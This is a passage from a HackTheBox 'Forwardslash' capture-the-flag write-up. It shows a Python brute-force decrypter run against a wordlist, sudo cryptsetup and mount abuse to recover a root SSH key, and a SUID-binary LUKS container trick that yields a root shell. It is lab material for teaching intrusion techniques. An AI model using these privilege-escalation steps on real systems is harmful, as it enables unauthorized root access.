print "Decrypted ciphertext: " + decrypted

Let’s run it and….

1
2
[[email protected] ~]$ python decrypter.py
[[email protected] ~]$

Well no results.

What could be the issue here? When reading again the crypto algorithm we notice it’s possible under certain circumstances to get non-printable characters in decrypted text.

Another point to note is that because of the algorithm, the ciphertext contains the same number of characters as the decrypted source. The ciphertext being 165 char long len(encrypted), let’s tweak our if condition to validate a key if the output contains total of ~158 chars are printable chars.

This should be enough to bypass the accidental non printable chars being present in the decrypted text:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import string

def decrypt(key, msg):
key = list(key)
msg = list(msg)
for char_key in reversed(key):
for i in reversed(range(len(msg))):
if i == 0:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
else:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
while tmp < 0:
tmp += 256
msg[i] = chr(tmp)
return ''.join(msg)

with open('ciphertext', 'r') as content_file:
encrypted = content_file.read()

with open("rockyou.txt", 'r') as f:
for line in f:
password = line.strip()
decrypted = decrypt(password, encrypted)

+ print_count = sum(c in string.printable for c in decrypted)
+. if print_count >= 158:
- if all(c in string.printable for c in decrypted):
print "Key found!: " + password
print "Decrypted ciphertext: " + decrypted

Let’s give a new try:

1
2
3
[[email protected] ]$ python decrypter.py
Key found!: teamareporsiempre
j% 9[lOyou liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf

Alright we got a new password cB!6%sdH8Lj^@Y*$C2cf to decrypt the image located at /var/backups/recovery.

This explains the sudo entries available for pain user:

1
2
3
4
5
6
[email protected]:~$ sudo -l
[...]
User pain may run the following commands on forwardslash:
(root) NOPASSWD: /sbin/cryptsetup luksOpen *
(root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/
(root) NOPASSWD: /bin/umount ./mnt/

Accessing encrypted LUKS image

The image located in /var/backups/recovery is a [Linux Unified Key Setup (LUKS)](Linux Unified Key Setup) encrypted volume. Let’s decrypt it using the password we got:

1
2
3
4
5
[email protected]:/$ ls /var/backups/recovery/
encrypted_backup.img
[email protected]:/$ sudo /sbin/cryptsetup luksOpen /var/backups/recovery/encrypted_backup.img backup
Enter passphrase for /var/backups/recovery/encrypted_backup.img
[email protected]:/$

The volume should have now been mapped to /dev/mapper, let’s mount it to access its content:

1
2
3
4
5
6
7
8
9
10
11
12
13
[email protected]:/$ ls -l /dev/mapper
lrwxrwxrwx 1 root root 7 Apr 6 12:49 backup -> ../dm-1
[email protected]:/$ cd /tmp/.tmp/
[email protected]:/tmp/.tmp/$ sudo /bin/mount /dev/mapper/backup ./mnt/
[email protected]:/tmp/.tmp/$ cd mnt/
[email protected]:/tmp/.tmp/mnt$ ls
id_rsa
[email protected]:/tmp/.tmp/mnt$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA9i/r8VGof1vpIV6rhNE9hZfBDd3u6S16uNYqLn+xFgZEQBZK
[...]
ZoYDzlPAlwJmoPQXauRl1CgjlyHrVUTfS0AkQH2ZbqvK5/Metq8o
-----END RSA PRIVATE KEY-----

Well look at this! An SSH private key. Can’t dream any better :)

Let’s see if it belongs to root user :

1
2
3
4
5
6
7
[[email protected] ~]$ ssh -i id_rsa [email protected]
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)

Last login: Tue Mar 24 12:11:46 2020 from 10.10.14.3
[email protected]:~#
[email protected]:~# cat root.txt
5xxxxxxxxxxxxxxxxxxxxxxxxxd

Closing note: Since the process required to mount a volume it was more important than ever to not forget cleaning after yourself, to not spoil other user and offering a “super-easy” way to root. The best way was to unmount the encrypted volume after getting the id_rsa and even reseting the box to make sure not forgetting anything:

1
2
3
4
[email protected]:/$ cd /tmp/.tmp/
[email protected]:/tmp/.tmp/$ sudo /bin/umount ./mnt/
[email protected]:/tmp/.tmp/$ cd /
[email protected]:/$ rm -rf /tmp/.tmp/

“Unintended” way to root

It was also possible to access the root flag without touching the “crypto” script at all.

Indeed the following sudo configuration allow to open and mount any luks encrypted container:

1
2
User pain may run the following commands on forwardslash:
(root) NOPASSWD: /sbin/cryptsetup luksOpen *

So what does it mean ? It means that we could create, on our machine, our own container containing a SUID binary (for example) and access root this way from pain user.

Let’s see how it’s done.

First let’s create our container:

1
2
3
4
5
6
7
8
9
10
11
[[email protected] ~]$ fallocate -l 20M sdash.img
[[email protected] ~]$ sudo cryptsetup -y luksFormat sdash.img

WARNING!
========
This will overwrite data on dash irrevocably.

Are you sure? (Type 'yes' in capital letters): YES
Enter passphrase for sdash.img:
Verify passphrase:
[[email protected] ~]$

Alright, we have our container. Next step are:

  1. Format and mount it:

    1
    2
    3
    4
    5
    [[email protected] ~]$ sudo cryptsetup luksOpen ./sdash.img backup
    Enter passphrase for ./sdash.img:
    [[email protected] ~]$ sudo mkfs.ext4 /dev/mapper/backup
    [[email protected] ~]$ mkdir mnt
    [[email protected] ~]$ sudo mount /dev/mapper/backup ./mnt/
  2. Putting our SUID binary in it (I will use dash)

    1
    [[email protected] ~]$ sudo sh -c 'cp $(which dash) ./mnt/; chmod +s ./dash'
  3. Close and upload our container to the box:

    1
    2
    3
    [[email protected] ~]$ sudo umount ./mnt
    [[email protected] ~]$ sudo cryptsetup close backup
    [[email protected] ~]$ scp sdash.img [email protected]:/tmp/.tmp/

Now let’s simply open and mount the container, the same way we saw previously for the root flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[email protected]:/$ sudo /sbin/cryptsetup luksOpen sdash.img backup
Enter passphrase for dash:
[email protected]:/$ mkdir /tmp/.tmp/mnt/
[email protected]:/$ cd /tmp/.tmp/
[email protected]:/tmp/.tmp/$ sudo /bin/mount /dev/mapper/backup ./mnt/

[email protected]:/$ ls -l /tmp/.tmp/mnt
total 895
-rwsr-sr-x 1 root root 903504 Apr 6 14:25 dash
drwx------ 2 root root 12288 Apr 6 14:24 lost+found
[email protected]:/$ ./tmp/mnt/dash
# whoami
root
# cat /root/root.txt
3xxxxxxxxxxxxxxxxxxxxxxx9

As always do not hesitate to contact me for any questions or feedbacks :)

See you next time !

-hg8



CTFHackTheBoxHard Box
, , , , , , , , ,